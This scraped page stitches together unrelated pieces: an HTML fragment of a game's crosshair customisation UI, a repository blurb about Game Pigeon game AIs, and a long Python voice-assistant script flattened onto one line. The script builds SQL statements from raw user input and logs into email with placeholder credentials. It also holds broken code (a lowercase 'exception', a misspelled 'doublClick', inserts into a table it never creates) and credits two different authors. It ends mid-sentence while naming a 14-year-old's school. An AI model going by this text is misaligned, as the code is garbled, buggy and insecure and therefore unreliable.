id='modal-customize-item-header'> <div id='modal-customize-item-name'></div> <div id='modal-customize-item-rarity'></div> <div id='modal-customize-loading-container'> <div id='modal-customize-loading'></div> </div> </div> <div id='modal-customize-list'></div> </div> <div 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data-l10n='loadout-facebook-like'></a> </div> </div> </div> <div id='modal-content-right-crosshair' class='modal-content-right modal-content-shadow'> <div class='modal-spacer'></div> <div class='modal-disabled'></div> <div id='customize-crosshair-parent'> <div id='customize-crosshair-selected'> <div class="customize-item-image customize-crosshair-image" draggable="false"></div> </div> <div id='customize-crosshair-sliders'> <div class="crosshair-hex-outer"> <span>#</span><input type="text" id='color-picker-hex'> </div> <section id="color-picker"></section> <div class="crosshair-slider-container"> <p class='' data-l10n='loadout-size'>Size</p> <input type="range" min="0.25" max="1.0" value="0.5" step='0.025' class="crosshair-slider" id="crosshair-size"> </div> <div class="crosshair-slider-container"> <p class='' data-l10n='loadout-stroke'>Stroke</p> <input type="range" min="0.0" max="1.5" value="0.0" step='0.025' class="crosshair-slider" id="crosshair-stroke"> </div> </div> </div> </div> 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k-gerner
A.I.s to make you unstoppable in Game Pigeon games! Includes A.I.s for Gomoku, Othello, Connect 4, Sea Battle, Mancala Capture, Mancala Avalanche, Word Bites, Word Hunt, Tic Tac Toe, and Anagrams!
Rynkll696
import pyttsx3 import speech_recognition as sr import datetime from datetime import date import calendar import time import math import wikipedia import webbrowser import os import smtplib import winsound import pyautogui import cv2 from pygame import mixer from tkinter import * import tkinter.messagebox as message from sqlite3 import * conn = connect("voice_assistant_asked_questions.db") conn.execute("CREATE TABLE IF NOT EXISTS `voicedata`(id INTEGER PRIMARY KEY AUTOINCREMENT,command VARCHAR(201))") conn.execute("CREATE TABLE IF NOT EXISTS `review`(id INTEGER PRIMARY KEY AUTOINCREMENT, review VARCHAR(50), type_of_review VARCHAR(50))") conn.execute("CREATE TABLE IF NOT EXISTS `emoji`(id INTEGER PRIMARY KEY AUTOINCREMENT,emoji VARCHAR(201))") global query engine = pyttsx3.init('sapi5') voices = engine.getProperty('voices') engine.setProperty('voice', voices[0].id) def speak(audio): engine.say(audio) engine.runAndWait() def wishMe(): hour = int(datetime.datetime.now().hour) if hour >= 0 and hour<12: speak("Good Morning!") elif hour >= 12 and hour < 18: speak("Good Afternoon!") else: speak("Good Evening!") speak("I am voice assistant Akshu2020 Sir. Please tell me how may I help you.") def takeCommand(): global query r = sr.Recognizer() with sr.Microphone() as source: print("Listening...") r.pause_threshold = 0.9 audio = r.listen(source) try: print("Recognizing...") query = r.recognize_google(audio,language='en-in') print(f"User said: {query}\n") except Exception as e: #print(e) print("Say that again please...") #speak('Say that again please...') return "None" return query def calculator(): global query try: if 'add' in query or 'edi' in query: speak('Enter a number') a = float(input("Enter a number:")) speak('Enter another number to add') b = float(input("Enter another number to add:")) c = a+b print(f"{a} + {b} = {c}") speak(f'The addition of {a} and {b} is {c}. Your answer is {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'sub' in query: speak('Enter a number') a = float(input("Enter a number:")) speak('Enter another number to subtract') b = float(input("Enter another number to subtract:")) c = a-b print(f"{a} - {b} = {c}") speak(f'The subtraction of {a} and {b} is {c}. Your answer is {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'mod' in query: speak('Enter a number') a = float(input("Enter a number:")) speak('Enter another number') b = float(input("Enter another number:")) c = a%b print(f"{a} % {b} = {c}") speak(f'The modular division of {a} and {b} is equal to {c}. Your answer is {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'div' in query: speak('Enter a number as dividend') a = float(input("Enter a number:")) speak('Enter another number as divisor') b = float(input("Enter another number as divisor:")) c = a/b print(f"{a} / {b} = {c}") speak(f'{a} divided by {b} is equal to {c}. Your answer is {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'multi' in query: speak('Enter a number') a = float(input("Enter a number:")) speak('Enter another number to multiply') b = float(input("Enter another number to multiply:")) c = a*b print(f"{a} x {b} = {c}") speak(f'The multiplication of {a} and {b} is {c}. Your answer is {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'square root' in query: speak('Enter a number to find its sqare root') a = float(input("Enter a number:")) c = a**(1/2) print(f"Square root of {a} = {c}") speak(f'Square root of {a} is {c}. Your answer is {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'square' in query: speak('Enter a number to find its sqare') a = float(input("Enter a number:")) c = a**2 print(f"{a} x {a} = {c}") speak(f'Square of {a} is {c}. Your answer is {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'cube root' in query: speak('Enter a number to find its cube root') a = float(input("Enter a number:")) c = a**(1/3) print(f"Cube root of {a} = {c}") speak(f'Cube root of {a} is {c}. Your answer is {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'cube' in query: speak('Enter a number to find its sqare') a = float(input("Enter a number:")) c = a**3 print(f"{a} x {a} x {a} = {c}") speak(f'Cube of {a} is {c}. Your answer is {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'fact' in query: try: n = int(input('Enter the number whose factorial you want to find:')) fact = 1 for i in range(1,n+1): fact = fact*i print(f"{n}! = {fact}") speak(f'{n} factorial is equal to {fact}. Your answer is {fact}.') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') except Exception as e: #print(e) speak('I unable to calculate its factorial.') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'power' in query or 'raise' in query: speak('Enter a number whose power you want to raised') a = float(input("Enter a number whose power to be raised :")) speak(f'Enter a raised power to {a}') b = float(input(f"Enter a raised power to {a}:")) c = a**b print(f"{a} ^ {b} = {c}") speak(f'{a} raise to the power {b} = {c}. Your answer is {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'percent' in query: speak('Enter a number whose percentage you want to calculate') a = float(input("Enter a number whose percentage you want to calculate :")) speak(f'How many percent of {a} you want to calculate?') b = float(input(f"Enter how many percentage of {a} you want to calculate:")) c = (a*b)/100 print(f"{b} % of {a} is {c}") speak(f'{b} percent of {a} is {c}. Your answer is {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'interest' in query: speak('Enter the principal value or amount') p = float(input("Enter the principal value (P):")) speak('Enter the rate of interest per year') r = float(input("Enter the rate of interest per year (%):")) speak('Enter the time in months') t = int(input("Enter the time (in months):")) interest = (p*r*t)/1200 sint = round(interest) fv = round(p + interest) print(f"Interest = {interest}") print(f"The total amount accured, principal plus interest, from simple interest on a principal of {p} at a rate of {r}% per year for {t} months is {p + interest}.") speak(f'interest is {sint}. The total amount accured, principal plus interest, from simple interest on a principal of {p} at a rate of {r}% per year for {t} months is {fv}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'si' in query: speak('Enter the angle in degree to find its sine value') a = float(input("Enter the angle:")) b = a * 3.14/180 c = math.sin(b) speak('Here is your answer.') print(f"sin({a}) = {c}") speak(f'sin({a}) = {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'cos' in query: speak('Enter the angle in degree to find its cosine value') a = float(input("Enter the angle:")) b = a * 3.14/180 c = math.cos(b) speak('Here is your answer.') print(f"cos({a}) = {c}") speak(f'cos({a}) = {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'cot' in query or 'court' in query: try: speak('Enter the angle in degree to find its cotangent value') a = float(input("Enter the angle:")) b = a * 3.14/180 c = 1/math.tan(b) speak('Here is your answer.') print(f"cot({a}) = {c}") speak(f'cot({a}) = {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') except Exception as e: print("infinity") speak('Answer is infinity') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'tan' in query or '10' in query: speak('Enter the angle in degree to find its tangent value') a = float(input("Enter the angle:")) b = a * 3.14/180 c = math.tan(b) speak('Here is your answer.') print(f"tan({a}) = {c}") speak(f'tan({a}) = {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'cosec' in query: try: speak('Enter the angle in degree to find its cosecant value') a = float(input("Enter the angle:")) b = a * 3.14/180 c =1/ math.sin(b) speak('Here is your answer.') print(f"cosec({a}) = {c}") speak(f'cosec({a}) = {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') except Exception as e: print('Infinity') speak('Answer is infinity') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'caus' in query: try: speak('Enter the angle in degree to find its cosecant value') a = float(input("Enter the angle:")) b = a * 3.14/180 c =1/ math.sin(b) speak('Here is your answer.') print(f"cosec({a}) = {c}") speak(f'cosec({a}) = {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') except Exception as e: print('Infinity') speak('Answer is infinity') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'sec' in query: try: speak('Enter the angle in degree to find its secant value') a = int(input("Enter the angle:")) b = a * 3.14/180 c = 1/math.cos(b) speak('Here is your answer.') print(f"sec({a}) = {c}") speak(f'sec({a}) = {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') except Exception as e: print('Infinity') speak('Answer is infinity') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') except Exception as e: speak('I unable to do this calculation.') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') def callback(r,c): global player if player == 'X' and states[r][c] == 0 and stop_game == False: b[r][c].configure(text='X',fg='blue', bg='white') states[r][c] = 'X' player = 'O' if player == 'O' and states[r][c] == 0 and stop_game == False: b[r][c].configure(text='O',fg='red', bg='yellow') states[r][c] = 'O' player = 'X' check_for_winner() def check_for_winner(): global stop_game global root for i in range(3): if states[i][0] == states[i][1]== states[i][2]!=0: b[i][0].config(bg='grey') b[i][1].config(bg='grey') b[i][2].config(bg='grey') stop_game = True root.destroy() for i in range(3): if states[0][i] == states[1][i] == states[2][i]!= 0: b[0][i].config(bg='grey') b[1][i].config(bg='grey') b[2][i].config(bg='grey') stop_game = True root.destroy() if states[0][0] == states[1][1]== states[2][2]!= 0: b[0][0].config(bg='grey') b[1][1].config(bg='grey') b[2][2].config(bg='grey') stop_game = True root.destroy() if states[2][0] == states[1][1] == states[0][2]!= 0: b[2][0].config(bg='grey') b[1][1].config(bg='grey') b[0][2].config(bg='grey') stop_game = True root.destroy() def sendEmail(to,content): server = smtplib.SMTP('smtp.gmail.com', 587) server.ehlo() server.starttls() server.login('xyz123@gmail.com','password') server.sendmail('xyz123@gmail.com',to,content) server.close() def brightness(): try: query = takeCommand().lower() if '25' in query: pyautogui.moveTo(1880,1050) pyautogui.click() time.sleep(1) pyautogui.moveTo(1610,960) pyautogui.click() pyautogui.moveTo(1880,1050) pyautogui.click() speak('If you again want to change brihtness, say, change brightness') elif '50' in query: pyautogui.moveTo(1880,1050) pyautogui.click() time.sleep(1) pyautogui.moveTo(1684,960) pyautogui.click() pyautogui.moveTo(1880,1050) pyautogui.click() speak('If you again want to change brihtness, say, change brightness') elif '75' in query: pyautogui.moveTo(1880,1050) pyautogui.click() time.sleep(1) pyautogui.moveTo(1758,960) pyautogui.click() pyautogui.moveTo(1880,1050) pyautogui.click() speak('If you again want to change brihtness, say, change brightness') elif '100' in query or 'full' in query: pyautogui.moveTo(1880,1050) pyautogui.click() time.sleep(1) pyautogui.moveTo(1835,960) pyautogui.click() pyautogui.moveTo(1880,1050) pyautogui.click() speak('If you again want to change brihtness, say, change brightness') else: speak('Please select 25, 50, 75 or 100....... Say again.') brightness() except exception as e: #print(e) speak('Something went wrong') def close_window(): try: if 'y' in query: pyautogui.moveTo(1885,10) pyautogui.click() else: speak('ok') pyautogui.moveTo(1000,500) except exception as e: #print(e) speak('error') def whatsapp(): query = takeCommand().lower() if 'y' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('whatsapp') time.sleep(2) pyautogui.press('enter') time.sleep(2) pyautogui.moveTo(100,140) pyautogui.click() speak('To whom you want to send message,.....just write the name here in 5 seconds') time.sleep(7) pyautogui.moveTo(120,300) pyautogui.click() time.sleep(1) pyautogui.moveTo(800,990) pyautogui.click() speak('Say the message,....or if you want to send anything else,...say send document, or say send emoji') query = takeCommand() if ('sent' in query or 'send' in query) and 'document' in query: pyautogui.moveTo(660,990) pyautogui.click() time.sleep(1) pyautogui.moveTo(660,740) pyautogui.click() speak('please select the document within 10 seconds') time.sleep(12) speak('Should I send this document?') query = takeCommand().lower() if 'y' in query and 'no' not in query: speak('sending the document......') pyautogui.press('enter') speak('Do you want to send message again to anyone?') whatsapp() elif ('remove' in query or 'cancel' in query or 'delete' in query or 'clear' in query) and ('document' in query or 'message' in query or 'it' in query or 'emoji' in query or 'select' in query): pyautogui.doubleClick(x=800, y=990) pyautogui.press('backspace') speak('Do you want to send message again to anyone?') whatsapp() else: speak('ok') elif ('sent' in query or 'send' in query) and 'emoji' in query: pyautogui.moveTo(620,990) pyautogui.click() pyautogui.moveTo(670,990) pyautogui.click() pyautogui.moveTo(650,580) pyautogui.click() speak('please select the emoji within 10 seconds') time.sleep(11) speak('Should I send this emoji?') query = takeCommand().lower() if 'y' in query and 'no' not in query: speak('Sending the emoji......') pyautogui.press('enter') speak('Do you want to send message again to anyone?') whatsapp() elif ('remove' in query or 'cancel' in query or 'delete' in query or 'clear' in query) and ('message' in query or 'it' in query or 'emoji' in query or 'select' in query): pyautogui.doublClick(x=800, y=990) speak('Do you want to send message again to anyone?') whatsapp() else: speak('ok') else: pyautogui.write(f'{query}') speak('Should I send this message?') query = takeCommand().lower() if 'y' in query and 'no' not in query: speak('sending the message......') pyautogui.press('enter') speak('Do you want to send message again to anyone?') whatsapp() elif ('remove' in query or 'cancel' in query or 'delete' in query or 'clear' in query) and ('message' in query or 'it' in query or 'select' in query): pyautogui.doubleClick(x=800, y=990) pyautogui.press('backspace') speak('Do you want to send message again to anyone?') whatsapp() else: speak('ok') else: speak('ok') def alarm(): root = Tk() root.title('Akshu2020 Alarm-Clock') speak('Please enter the time in the format hour, minutes and seconds. When the alarm should rang?') speak('Please enter the time greater than the current time') def setalarm(): alarmtime = f"{hrs.get()}:{mins.get()}:{secs.get()}" print(alarmtime) if(alarmtime!="::"): alarmclock(alarmtime) else: speak('You have not entered the time.') def alarmclock(alarmtime): while True: time.sleep(1) time_now=datetime.datetime.now().strftime("%H:%M:%S") print(time_now) if time_now == alarmtime: Wakeup=Label(root, font = ('arial', 20, 'bold'), text="Wake up! Wake up! Wake up",bg="DodgerBlue2",fg="white").grid(row=6,columnspan=3) speak("Wake up, Wake up") print("Wake up!") mixer.init() mixer.music.load(r'C:\Users\Admin\Music\Playlists\wake-up-will-you-446.mp3') mixer.music.play() break speak('you can click on close icon to close the alarm window.') hrs=StringVar() mins=StringVar() secs=StringVar() greet=Label(root, font = ('arial', 20, 'bold'),text="Take a short nap!").grid(row=1,columnspan=3) hrbtn=Entry(root,textvariable=hrs,width=5,font =('arial', 20, 'bold')) hrbtn.grid(row=2,column=1) minbtn=Entry(root,textvariable=mins, width=5,font = ('arial', 20, 'bold')).grid(row=2,column=2) secbtn=Entry(root,textvariable=secs, width=5,font = ('arial', 20, 'bold')).grid(row=2,column=3) setbtn=Button(root,text="set alarm",command=setalarm,bg="DodgerBlue2", fg="white",font = ('arial', 20, 'bold')).grid(row=4,columnspan=3) timeleft = Label(root,font=('arial', 20, 'bold')) timeleft.grid() mainloop() def select1(): global vs global root3 global type_of_review if vs.get() == 1: message.showinfo(" ","Thank you for your review!!") review = "Very Satisfied" type_of_review = "Positive" root3.destroy() elif vs.get() == 2: message.showinfo(" ","Thank you for your review!!") review = "Satisfied" type_of_review = "Positive" root3.destroy() elif vs.get() == 3: message.showinfo(" ","Thank you for your review!!!!") review = "Neither Satisfied Nor Dissatisfied" type_of_review = "Neutral" root3.destroy() elif vs.get() == 4: message.showinfo(" ","Thank you for your review!!") review = "Dissatisfied" type_of_review = "Negative" root3.destroy() elif vs.get() == 5: message.showinfo(" ","Thank you for your review!!") review = "Very Dissatisfied" type_of_review = "Negative" root3.destroy() elif vs.get() == 6: message.showinfo(" "," Ok ") review = "I do not want to give review" type_of_review = "No review" root3.destroy() try: conn.execute(f"INSERT INTO `review`(review,type_of_review) VALUES('{review}', '{type_of_review}')") conn.commit() except Exception as e: pass def select_review(): global root3 global vs global type_of_review root3 = Tk() root3.title("Select an option") vs = IntVar() string = "Are you satisfied with my performance?" msgbox = Message(root3,text=string) msgbox.config(bg="lightgreen",font = "(20)") msgbox.grid(row=0,column=0) rs1=Radiobutton(root3,text="Very Satisfied",font="(20)",value=1,variable=vs).grid(row=1,column=0,sticky=W) rs2=Radiobutton(root3,text="Satisfied",font="(20)",value=2,variable=vs).grid(row=2,column=0,sticky=W) rs3=Radiobutton(root3,text="Neither Satisfied Nor Dissatisfied",font="(20)",value=3,variable=vs).grid(row=3,column=0,sticky=W) rs4=Radiobutton(root3,text="Dissatisfied",font="(20)",value=4,variable=vs).grid(row=4,column=0,sticky=W) rs5=Radiobutton(root3,text="Very Dissatisfied",font="(20)",value=5,variable=vs).grid(row=5,column=0,sticky=W) rs6=Radiobutton(root3,text="I don't want to give review",font="(20)",value=6,variable=vs).grid(row=6,column=0,sticky=W) bs = Button(root3,text="Submit",font="(20)",activebackground="yellow",activeforeground="green",command=select1) bs.grid(row=7,columnspan=2) root3.mainloop() while True : query = takeCommand().lower() # logic for executing tasks based on query if 'wikipedia' in query: speak('Searching wikipedia...') query = query.replace("wikipedia","") results = wikipedia.summary(query, sentences=2) speak("According to Wikipedia") print(results) speak(results) elif 'translat' in query or ('let' in query and 'translat' in query and 'open' in query): webbrowser.open('https://translate.google.co.in') time.sleep(10) elif 'open map' in query or ('let' in query and 'map' in query and 'open' in query): webbrowser.open('https://www.google.com/maps') time.sleep(10) elif ('open' in query and 'youtube' in query) or ('let' in query and 'youtube' in query and 'open' in query): webbrowser.open('https://www.youtube.com') time.sleep(10) elif 'chrome' in query: webbrowser.open('https://www.chrome.com') time.sleep(10) elif 'weather' in query: webbrowser.open('https://www.yahoo.com/news/weather') time.sleep(3) speak('Click on, change location, and enter the city , whose whether conditions you want to know.') time.sleep(10) elif 'google map' in query: webbrowser.open('https://www.google.com/maps') time.sleep(10) elif ('open' in query and 'google' in query) or ('let' in query and 'google' in query and 'open' in query): webbrowser.open('google.com') time.sleep(10) elif ('open' in query and 'stack' in query and 'overflow' in query) or ('let' in query and 'stack' in query and 'overflow' in query and 'open' in query): webbrowser.open('stackoverflow.com') time.sleep(10) elif 'open v i' in query or 'open vi' in query or 'open vierp' in query or ('open' in query and ('r p' in query or 'rp' in query)): webbrowser.open('https://www.vierp.in/login/erplogin') time.sleep(10) elif 'news' in query: webbrowser.open('https://www.bbc.com/news/world') time.sleep(10) elif 'online shop' in query or (('can' in query or 'want' in query or 'do' in query or 'could' in query) and 'shop' in query) or('let' in query and 'shop' in query): speak('From which online shopping website, you want to shop? Amazon, flipkart, snapdeal or naaptol?') query = takeCommand().lower() if 'amazon' in query: webbrowser.open('https://www.amazon.com') time.sleep(10) elif 'flip' in query: webbrowser.open('https://www.flipkart.com') time.sleep(10) elif 'snap' in query: webbrowser.open('https://www.snapdeal.com') time.sleep(10) elif 'na' in query: webbrowser.open('https://www.naaptol.com') time.sleep(10) else: speak('Sorry sir, you have to search in browser as his shopping website is not reachable for me.') elif ('online' in query and ('game' in query or 'gaming' in query)): webbrowser.open('https://www.agame.com/games') time.sleep(10) elif 'dictionary' in query: webbrowser.open('https://www.dictionary.com') time.sleep(3) speak('Enter the word, in the search bar of the dictionary, whose defination or synonyms you want to know') time.sleep(3) elif ('identif' in query and 'emoji' in query) or ('sentiment' in query and ('analysis' in query or 'identif' in query)): speak('Please enter only one emoji at a time.') emoji = input('enter emoji here: ') if '😀' in emoji or '😃' in emoji or '😄' in emoji or '😁' in emoji or '🙂' in emoji or '😊' in emoji or '☺️' in emoji or '😇' in emoji or '🥲' in emoji: speak('happy') print('Happy') elif '😝' in emoji or '😆' in emoji or '😂' in emoji or '🤣' in emoji: speak('Laughing') print('Laughing') elif '😡' in emoji or '😠' in emoji or '🤬' in emoji: speak('Angry') print('Angry') elif '🤫' in emoji: speak('Keep quite') print('Keep quite') elif '😷' in emoji: speak('face with mask') print('Face with mask') elif '🥳' in emoji: speak('party') print('party') elif '😢' in emoji or '😥' in emoji or '😓' in emoji or '😰' in emoji or '☹️' in emoji or '🙁' in emoji or '😟' in emoji or '😔' in emoji or '😞️' in emoji: speak('Sad') print('Sad') elif '😭' in emoji: speak('Crying') print('Crying') elif '😋' in emoji: speak('Tasty') print('Tasty') elif '🤨' in emoji: speak('Doubt') print('Doubt') elif '😴' in emoji: speak('Sleeping') print('Sleeping') elif '🥱' in emoji: speak('feeling sleepy') print('feeling sleepy') elif '😍' in emoji or '🥰' in emoji or '😘' in emoji: speak('Lovely') print('Lovely') elif '😱' in emoji: speak('Horrible') print('Horrible') elif '🎂' in emoji: speak('Cake') print('Cake') elif '🍫' in emoji: speak('Cadbury') print('Cadbury') elif '🇮🇳' in emoji: speak('Indian national flag,.....Teeranga') print('Indian national flag - Tiranga') elif '💐' in emoji: speak('Bouquet') print('Bouquet') elif '🥺' in emoji: speak('Emotional') print('Emotional') elif ' ' in emoji or '' in emoji: speak(f'{emoji}') else: speak("I don't know about this emoji") print("I don't know about this emoji") try: conn.execute(f"INSERT INTO `emoji`(emoji) VALUES('{emoji}')") conn.commit() except Exception as e: #print('Error in storing emoji in database') pass elif 'time' in query: strTime = datetime.datetime.now().strftime("%H:%M:%S") print(strTime) speak(f"Sir, the time is {strTime}") elif 'open' in query and 'sublime' in query: path = "C:\Program Files\Sublime Text 3\sublime_text.exe" os.startfile(path) elif 'image' in query: path = "C:\Program Files\Internet Explorer\images" os.startfile(path) elif 'quit' in query: speak('Ok, Thank you Sir.') said = False speak('Please give the review. It will help me to improve my performance.') select_review() elif 'exit' in query: speak('Ok, Thank you Sir.') said = False speak('Please give the review. It will help me to improve my performance.') select_review() elif 'stop' in query: speak('Ok, Thank you Sir.') said = False speak('Please give the review. It will help me to improve my performance.') select_review() elif 'shutdown' in query or 'shut down' in query: speak('Ok, Thank you Sir.') said = False speak('Please give the review. It will help me to improve my performance.') select_review() elif 'close you' in query: speak('Ok, Thank you Sir.') said = False speak('Please give the review. It will help me to improve my performance.') select_review() try: conn.execute(f"INSERT INTO `voice_assistant_review`(review, type_of_review) VALUES('{review}', '{type_of_review}')") conn.commit() except Exception as e: pass elif 'bye' in query: speak('Bye Sir') said = False speak('Please give the review. It will help me to improve my performance.') select_review() elif 'wait' in query or 'hold' in query: speak('for how many seconds or minutes I have to wait?') query = takeCommand().lower() if 'second' in query: query = query.replace("please","") query = query.replace("can","") query = query.replace("you","") query = query.replace("have","") query = query.replace("could","") query = query.replace("hold","") query = query.replace("one","1") query = query.replace("only","") query = query.replace("wait","") query = query.replace("for","") query = query.replace("the","") query = query.replace("just","") query = query.replace("seconds","") query = query.replace("second","") query = query.replace("on","") query = query.replace("a","") query = query.replace("to","") query = query.replace(" ","") #print(f'query:{query}') if query.isdigit() == True: #print('y') speak('Ok sir') query = int(query) time.sleep(query) speak('my waiting time is over') else: print('sorry sir. I unable to complete your request.') elif 'minute' in query: query = query.replace("please","") query = query.replace("can","") query = query.replace("you","") query = query.replace("have","") query = query.replace("could","") query = query.replace("hold","") query = query.replace("one","1") query = query.replace("only","") query = query.replace("on","") query = query.replace("wait","") query = query.replace("for","") query = query.replace("the","") query = query.replace("just","") query = query.replace("and","") query = query.replace("half","") query = query.replace("minutes","") query = query.replace("minute","") query = query.replace("a","") query = query.replace("to","") query = query.replace(" ","") #print(f'query:{query}') if query.isdigit() == True: #print('y') speak('ok sir') query = int(query) time.sleep(query*60) speak('my waiting time is over') else: print('sorry sir. I unable to complete your request.') elif 'play' in query and 'game' in query: speak('I have 3 games, tic tac toe game for two players,....mario, and dyno games for single player. Which one of these 3 games you want to play?') query = takeCommand().lower() if ('you' in query and 'play' in query and 'with' in query) and ('you' in query and 'play' in query and 'me' in query): speak('Sorry sir, I cannot play this game with you.') speak('Do you want to continue it?') query = takeCommand().lower() try: if 'y' in query or 'sure' in query: root = Tk() root.title("TIC TAC TOE (By Akshay Khare)") b = [ [0,0,0], [0,0,0], [0,0,0] ] states = [ [0,0,0], [0,0,0], [0,0,0] ] for i in range(3): for j in range(3): b[i][j] = Button(font = ("Arial",60),width = 4,bg = 'powder blue', command = lambda r=i, c=j: callback(r,c)) b[i][j].grid(row=i,column=j) player='X' stop_game = False mainloop() else: speak('ok sir') except Exception as e: #print(e) time.sleep(3) print('I am sorry sir. There is some problem in loading the game. So I cannot open it.') elif 'tic' in query or 'tac' in query: try: root = Tk() root.title("TIC TAC TOE (Rayen Kallel)") b = [ [0,0,0], [0,0,0], [0,0,0] ] states = [ [0,0,0], [0,0,0], [0,0,0] ] for i in range(3): for j in range(3): b[i][j] = Button(font = ("Arial",60),width = 4,bg = 'powder blue', command = lambda r=i, c=j: callback(r,c)) b[i][j].grid(row=i,column=j) player='X' stop_game = False mainloop() except Exception as e: #print(e) time.sleep(3) speak('I am sorry sir. There is some problem in loading the game. So I cannot open it.') elif 'mar' in query or 'mer' in query or 'my' in query: webbrowser.open('https://chromedino.com/mario/') time.sleep(2.5) speak('Enter upper arrow key to start the game.') time.sleep(20) elif 'di' in query or 'dy' in query: webbrowser.open('https://chromedino.com/') time.sleep(2.5) speak('Enter upper arrow key to start the game.') time.sleep(20) else: speak('ok sir') elif 'change' in query and 'you' in query and 'voice' in query: engine.setProperty('voice', voices[1].id) speak("Here's an example of one of my voices. Would you like to use this one?") query = takeCommand().lower() if 'y' in query or 'sure' in query or 'of course' in query: speak('Great. I will keep using this voice.') elif 'n' in query: speak('Ok. I am back to my other voice.') engine.setProperty('voice', voices[0].id) else: speak('Sorry, I am having trouble understanding. I am back to my other voice.') engine.setProperty('voice', voices[0].id) elif 'www.' in query and ('.com' in query or '.in' in query): webbrowser.open(query) time.sleep(10) elif '.com' in query or '.in' in query: webbrowser.open(query) time.sleep(10) elif 'getting bore' in query: speak('then speak with me for sometime') elif 'i bore' in query: speak('Then speak with me for sometime.') elif 'i am bore' in query: speak('Then speak with me for sometime.') elif 'calculat' in query: speak('Yes. Which kind of calculation you want to do? add, substract, divide, multiply or anything else.') query = takeCommand().lower() calculator() elif 'add' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif '+' in query: speak('If you want to do any mathematical calculation then give me a command to open calculator.') elif 'plus' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif 'subtrac' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif 'minus' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif 'multipl' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif ' x ' in query: speak('If you want to do any mathematical calculation then give me a command to open calculator.') elif 'slash' in query: speak('If you want to do any mathematical calculation then give me a command to open calculator.') elif '/' in query: speak('If you want to do any mathematical calculation then give me a command to open calculator.') elif 'divi' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif 'trigonometr' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif 'percent' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif '%' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif 'raise to ' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif 'simple interest' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif 'akshay' in query: speak('Mr. Rayen Kallel is my inventor. He is 14 years old and he is A STUDENT AT THE COLLEGE PILOTEE 